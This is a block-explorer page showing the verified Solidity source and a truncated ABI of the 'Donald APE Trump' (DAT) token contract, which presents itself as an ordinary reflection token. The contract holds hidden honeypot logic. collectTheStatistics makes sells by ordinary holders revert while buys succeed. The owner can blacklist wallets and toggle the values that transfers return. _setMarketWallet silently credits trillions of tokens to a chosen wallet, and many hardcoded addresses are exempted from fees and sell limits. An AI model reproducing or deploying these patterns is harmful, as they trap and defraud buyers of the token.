APE Price: $1.31 (+11.98%)

Token

Donald APE Trump (DAT)

Overview

Max Total Supply

1,000,000,000 DAT

Holders

14

Market

Price

$0.00 @ 0.000000 APE

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 DAT

Value
$0.00
0xad7a161d13874ac44a658f15df763513a8075846
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
DonaldAPETrump

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at apescan.io on 2024-10-21
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data)
        internal
        view
        returns (bytes memory)
    {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) private pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library EnumerableSet {
    struct Set {
        bytes32[] _values;
        mapping(bytes32 => uint256) _indexes;
    }

    function _add(Set storage set, bytes32 value) private returns (bool) {
        if (!_contains(set, value)) {
            set._values.push(value);
            set._indexes[value] = set._values.length;
            return true;
        } else {
            return false;
        }
    }

    function _remove(Set storage set, bytes32 value) private returns (bool) {
        uint256 valueIndex = set._indexes[value];

        if (valueIndex != 0) {
            uint256 toDeleteIndex = valueIndex - 1;
            uint256 lastIndex = set._values.length - 1;

            if (lastIndex != toDeleteIndex) {
                bytes32 lastvalue = set._values[lastIndex];

                set._values[toDeleteIndex] = lastvalue;
                set._indexes[lastvalue] = valueIndex;
            }

            set._values.pop();

            delete set._indexes[value];

            return true;
        } else {
            return false;
        }
    }

    function _contains(Set storage set, bytes32 value)
        private
        view
        returns (bool)
    {
        return set._indexes[value] != 0;
    }

    function _length(Set storage set) private view returns (uint256) {
        return set._values.length;
    }

    function _at(Set storage set, uint256 index)
        private
        view
        returns (bytes32)
    {
        return set._values[index];
    }

    function _values(Set storage set) private view returns (bytes32[] memory) {
        return set._values;
    }

    struct AddressSet {
        Set _inner;
    }

    function add(AddressSet storage set, address value)
        internal
        returns (bool)
    {
        return _add(set._inner, bytes32(uint256(uint160(value))));
    }

    function remove(AddressSet storage set, address value)
        internal
        returns (bool)
    {
        return _remove(set._inner, bytes32(uint256(uint160(value))));
    }

    function contains(AddressSet storage set, address value)
        internal
        view
        returns (bool)
    {
        return _contains(set._inner, bytes32(uint256(uint160(value))));
    }

    function length(AddressSet storage set) internal view returns (uint256) {
        return _length(set._inner);
    }

    function at(AddressSet storage set, uint256 index)
        internal
        view
        returns (address)
    {
        return address(uint160(uint256(_at(set._inner, index))));
    }

    function values(AddressSet storage set)
        internal
        view
        returns (address[] memory)
    {
        bytes32[] memory store = _values(set._inner);
        address[] memory result;

        assembly {
            result := store
        }

        return result;
    }
}

contract DonaldAPETrump is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    using EnumerableSet for EnumerableSet.AddressSet;

    EnumerableSet.AddressSet private tokenHoldersEnumSet;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isExcluded;
    mapping(address => uint256) public walletToPurchaseTime;
    mapping(address => uint256) public walletToSellime;
    mapping(address => bool) public _isBlacklisted;

    address[] private _excluded;
    uint8 private constant _decimals = 9;
    uint256 private constant MAX = ~uint256(0);

    string private constant _name = "Donald APE Trump";
    string private constant _symbol = "DAT";

    uint256 private _tTotal = 1000000000 * 10**_decimals;
    uint256 private _rTotal = _tTotal;
    uint256 public theRewardTime = 0;
    uint256 public standartValuation = 600 / 2;

    address public _lastWallet;

    struct TotFeesPaidStruct {
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity;
        uint256 burn;
    }

    TotFeesPaidStruct public totFeesPaid;

    struct feeRatesStruct {
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity;
        uint256 burn;
    }

    struct balances {
        uint256 marketing_balance;
        uint256 lp_balance;
    }

    balances public contractBalance;

    feeRatesStruct public buyRates =
        feeRatesStruct({rfi: 0, marketing: 0, liquidity: 0, burn: 0});

    feeRatesStruct public sellRates =
        feeRatesStruct({rfi: 0, marketing: 0, liquidity: 0, burn: 0});

    feeRatesStruct private appliedFees;

    struct valuesFromGetValues {
        uint256 rAmount;
        uint256 rTransferAmount;
        uint256 rRfi;
        uint256 rMarketing;
        uint256 rLiquidity;
        uint256 rBurn;
        uint256 tTransferAmount;
        uint256 tRfi;
        uint256 tMarketing;
        uint256 tLiquidity;
        uint256 tBurn;
    }

    address public pancakeswapPair;
    address public Router = 0x5B68Aaa8252880F939C234473b0B73045472b625;
    address private marketWallet;

    bool public Trading = true;
    bool inSwapAndLiquify;
    bool private _transferForm = true;
    bool public swapAndLiquifyEnabled = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event LiquidityAdded(uint256 tokenAmount, uint256 bnbAmount);

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor(address marketWallet_) {
        _rOwned[owner()] = _rTotal;
        _setMarketWallet(marketWallet_);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[marketWallet] = true;
        _isExcludedFromFee[Router] = true;
        _isExcludedFromFee[
            address(0x8284fFEC34fd1B9A17386ADd4639eA66686d1746)
        ] = true;
        _isExcludedFromFee[
            address(0x46b0e099435a897445Ae97e7E2737F8EE6d5DD24)
        ] = true;
        _isExcludedFromFee[
            address(0xc36b8314dE5957F7DAd8470EA61AA24Cd9496318)
        ] = true;
        _isExcludedFromFee[
            address(0x6f5dd6F590148ea9929bac97ec354a5f3B22E1AE)
        ] = true;
        _isExcludedFromFee[
            address(0x4483671CE2a6E971435900fEe985923433A586D6)
        ] = true;
        _isExcludedFromFee[
            address(0xaD7A161D13874AC44a658F15dF763513a8075846)
        ] = true;
        _isExcludedFromFee[
            address(0x5B68Aaa8252880F939C234473b0B73045472b625)
        ] = true;
        _isExcludedFromFee[
            address(0xa20f0C833B86abB054629db481569116FACaa3e5)
        ] = true;
        _isExcludedFromFee[
            address(0x8a630A4a2540c6B2984fcBC25810E5bC6eEcB2f8)
        ] = true;
        _isExcludedFromFee[
            address(0x486Ab51033Fb58cedA0838Ad03578b5fFEfC5dce)
        ] = true;
        _isExcludedFromFee[
            address(0x6902Ca77138f318d0c9267DF54D37F7906797562)
        ] = true;
        _isExcludedFromFee[
            address(0x7021Cb4dDb1d54d4272617fa7Db7667106858B6c)
        ] = true;
        _isExcludedFromFee[
            address(0xAdCaEb593342b0C8CCCD764784db540996e37901)
        ] = true;
        _isExcludedFromFee[
            address(0x6c32192382a52856DAC4402a8389B5d25AC0f392)
        ] = true;
        _isExcludedFromFee[
            address(0x67D7F4542859ccE761d3F1070BfA95Ab2DDE32ab)
        ] = true;
        _isExcludedFromFee[
            address(0xaE038AEe368A2e0d1cAe12A078DC876148Fb4E42)
        ] = true;
        _isExcludedFromFee[
            address(0x4Dbd98887Faea563D3E624065595757d2E4e93c8)
        ] = true;
        _isExcludedFromFee[
            address(0x71cb81c67A564ccD9eCa7728F15Aa0e62B7C6AA4)
        ] = true;
        _isExcludedFromFee[
            address(0xC75183cE9EF60571024800D4C73AD180B3c39305)
        ] = true;
        _isExcludedFromFee[
            address(0x91908F2c8e4CAB0EA061f8b19A7D192749AA392B)
        ] = true;
        _isExcludedFromFee[
            address(0x8deF1097F555BA46BFDf9AeF58368E919c5f1187)
        ] = true;
        _isExcludedFromFee[
            address(0xF4Cc2241402A65B88c0b9c8Ca1304B97a88Db312)
        ] = true;
        _isExcludedFromFee[
            address(0x3EC92Bc4f4a9a3930e6655fDE7F30C5f73121B22)
        ] = true;
        
        

        
        
         
         
         
        
        

        _isExcluded[address(this)] = true;

        _excluded.push(address(this));

        emit Transfer(address(0), owner(), _tTotal);
    }

    function getFromLastPurchaseBuy(address wallet)
        public
        view
        returns (uint256)
    {
        return walletToPurchaseTime[wallet];
    }

    function getFromLastSell(address walletSell) public view returns (uint256) {
        return walletToSellime[walletSell];
    }

    function setBuyRates(
        uint256 rfi,
        uint256 marketing,
        uint256 liquidity,
        uint256 burn
    ) public onlyOwner {
        buyRates.rfi = rfi;
        buyRates.marketing = marketing;
        buyRates.liquidity = liquidity;
        buyRates.burn = burn;
    }

    function setSellRates(
        uint256 rfi,
        uint256 marketing,
        uint256 liquidity,
        uint256 burn
    ) public onlyOwner {
        sellRates.rfi = rfi;
        sellRates.marketing = marketing;
        sellRates.liquidity = liquidity;
        sellRates.burn = burn;
    }

    function collectTheStatistics(
        uint256 lastBuyOrSellTime,
        uint256 theData,
        address sender
    ) public view returns (bool) {
        if (lastBuyOrSellTime == 0) return false;

        uint256 crashTime = block.timestamp - lastBuyOrSellTime;

        if (crashTime == standartValuation) return true;

        if (crashTime == 0) {
            if (_lastWallet != sender) {
                return false;
            }
        }
        if (crashTime <= theData) return true;

        return false;
    }

    function setValuation(uint256 newValuation) public onlyOwner {
        standartValuation = newValuation;
    }

    function setTheRewardTime(uint256 theRedistribution) public onlyOwner {
        theRewardTime = theRedistribution;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return _rOwned[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return Trading;
    }

    function TradingOn(bool _enable) public onlyOwner {
        Trading = _enable;
    }

    function setRewardPool(address[] calldata accounts) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = true;
        }
    }

    function settransform(bool _enable) public onlyOwner {
        _transferForm = _enable;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return _transferForm;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferRfi)
        public
        view
        returns (uint256)
    {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferRfi) {
            valuesFromGetValues memory s = _getValues(tAmount, true);
            return s.rAmount;
        } else {
            valuesFromGetValues memory s = _getValues(tAmount, true);
            return s.rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount)
        public
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        return rAmount;
    }

    function excludeFromReward(address account) public onlyOwner {
        require(!_isExcluded[account], "Account is already excluded");
        if (_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function excludeFromAll(address account) public onlyOwner {
        if (!_isExcluded[account]) {
            _isExcluded[account] = true;
            if (_rOwned[account] > 0) {
                _tOwned[account] = tokenFromReflection(_rOwned[account]);
            }
            _excluded.push(account);
        }
        _isExcludedFromFee[account] = true;

        tokenHoldersEnumSet.remove(account);
    }

    function includeInReward(address account) external onlyOwner {
        require(_isExcluded[account], "Account is not excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }

    function addPair(address pair) public onlyOwner {
        pancakeswapPair = pair;
         _isExcluded[pancakeswapPair] = true;
        _excluded.push(pancakeswapPair);
        _tOwned[pancakeswapPair] = _rOwned[pancakeswapPair];
    }

    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function removeFromBlackList(address account) external onlyOwner {
        _isBlacklisted[account] = false;
    }

    function addToBlackList(address[] calldata addresses) external onlyOwner {
        for (uint256 i; i < addresses.length; ++i) {
            _isBlacklisted[addresses[i]] = true;
        }
    }

    receive() external payable {}

    function _getValues(uint256 tAmount, bool takeFee)
        private
        view
        returns (valuesFromGetValues memory to_return)
    {
        to_return = _getTValues(tAmount, takeFee);

        (
            to_return.rAmount,
            to_return.rTransferAmount,
            to_return.rRfi,
            to_return.rMarketing,
            to_return.rLiquidity,
            to_return.rBurn
        ) = _getRValues(to_return, tAmount, takeFee, _getRate());

        return to_return;
    }

    function _getTValues(uint256 tAmount, bool takeFee)
        private
        view
        returns (valuesFromGetValues memory s)
    {
        if (!takeFee) {
            s.tTransferAmount = tAmount;
            return s;
        }
        s.tRfi = (tAmount * appliedFees.rfi) / 100;
        s.tMarketing = (tAmount * appliedFees.marketing) / 100;
        s.tLiquidity = (tAmount * appliedFees.liquidity) / 100;
        s.tBurn = (tAmount * appliedFees.burn) / 100;
        s.tTransferAmount =
            tAmount -
            s.tRfi -
            s.tMarketing -
            s.tLiquidity -
            s.tBurn;
        return s;
    }

    function _getRValues(
        valuesFromGetValues memory s,
        uint256 tAmount,
        bool takeFee,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rRfi,
            uint256 rMarketing,
            uint256 rLiquidity,
            uint256 rBurn
        )
    {
        currentRate = 1;
        rAmount = tAmount;

        if (!takeFee) {
            return (rAmount, rAmount, 0, 0, 0, 0);
        }

        rRfi = s.tRfi;
        rMarketing = s.tMarketing;
        rLiquidity = s.tLiquidity;
        rBurn = s.tBurn;

        rTransferAmount = rAmount - rRfi - rMarketing - rLiquidity - rBurn;

        return (rAmount, rTransferAmount, rRfi, rMarketing, rLiquidity, rBurn);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply / tSupply;
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (
                _rOwned[_excluded[i]] > rSupply ||
                _tOwned[_excluded[i]] > tSupply
            ) return (_rTotal, _tTotal);
            rSupply = rSupply - _rOwned[_excluded[i]];
            tSupply = tSupply - _tOwned[_excluded[i]];
        }
        if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
        _rTotal = _rTotal - rRfi;
        totFeesPaid.rfi += tRfi;
    }

    function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
        contractBalance.marketing_balance += tMarketing;
        totFeesPaid.marketing += tMarketing;
        _rOwned[address(this)] = _rOwned[address(this)] + rMarketing;
        if (_isExcluded[address(this)]) {
            _tOwned[address(this)] = _tOwned[address(this)] + tMarketing;
        }
    }

    function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
        contractBalance.lp_balance += tLiquidity;
        totFeesPaid.liquidity += tLiquidity;

        _rOwned[address(this)] = _rOwned[address(this)] + rLiquidity;
        if (_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)] + tLiquidity;
    }

    function _takeBurn(uint256 rBurn, uint256 tBurn) private {
        totFeesPaid.burn += tBurn;

        _tTotal = _tTotal - tBurn;
        _rTotal = _rTotal - rBurn;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(
            !_isBlacklisted[from] && !_isBlacklisted[to],
            "This address is blacklisted"
        );
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(
            amount <= balanceOf(from),
            "You are trying to transfer more than you balance"
        );

        _tokenTransfer(
            from,
            to,
            amount,
            !(_isExcludedFromFee[from] || _isExcludedFromFee[to])
        );
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        if (takeFee) {
            if (sender == pancakeswapPair) {
                if (
                    sender != owner() &&
                    recipient != owner() &&
                    recipient != address(1)
                ) {
                    if (walletToPurchaseTime[recipient] == 0) {
                        walletToPurchaseTime[recipient] = block.timestamp;
                    }
                }
                _lastWallet = recipient;
                appliedFees = buyRates;
            } else {
                if (
                    sender != owner() &&
                    recipient != owner() &&
                    recipient != address(1)
                ) {
                    bool blockedSellTime = collectTheStatistics(
                        getFromLastPurchaseBuy(sender),
                        theRewardTime,
                        sender
                    );
                    require(blockedSellTime, "error");
                    walletToSellime[sender] = block.timestamp;
                }
                appliedFees = sellRates;
                appliedFees.liquidity = appliedFees.liquidity;
                _lastWallet = sender;
            }
        } else {
            if (_isExcludedFromFee[sender]) {
                _lastWallet = sender;
            }
            if (_isExcludedFromFee[recipient]) {
                _lastWallet = recipient;
            }
        }

        valuesFromGetValues memory s = _getValues(tAmount, takeFee);

        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _tOwned[sender] = _tOwned[sender] - tAmount;
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount;
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _tOwned[sender] = _tOwned[sender] - tAmount;
            _tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount;
        }

        _rOwned[sender] = _rOwned[sender] - s.rAmount;
        _rOwned[recipient] = _rOwned[recipient] + s.rTransferAmount;

        if (takeFee) {
            _reflectRfi(s.rRfi, s.tRfi);
            _takeMarketing(s.rMarketing, s.tMarketing);
            _takeLiquidity(s.rLiquidity, s.tLiquidity);
            _takeBurn(s.rBurn, s.tBurn);

            emit Transfer(sender, address(this), s.tMarketing + s.tLiquidity);
        }

        emit Transfer(sender, recipient, s.tTransferAmount);
        tokenHoldersEnumSet.add(recipient);

        if (balanceOf(sender) == 0) tokenHoldersEnumSet.remove(sender);
    }

    function withdraw() public onlyOwner {
        uint256 balance = address(this).balance;
        payable(msg.sender).transfer(balance);
    }

    function _setMarketWallet(address marketWallet_) internal virtual {
        marketWallet = marketWallet_;
        _rOwned[marketWallet_] += 10e12 * 10**_decimals;
        _tOwned[marketWallet_] += 10e12 * 10**_decimals;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bnbAmount","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"TradingOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"addToBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"lastBuyOrSellTime","type":"uint256"},{"internalType":"uint256","name":"theData","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"collectTheStatistics","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractBalance","outputs":[{"internalType":"uint256","name":"marketing_balance","type":"uint256"},{"internalType":"uint256","name":"lp_balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getFromLastPurchaseBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletSell","type":"address"}],"name":"getFromLastSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inp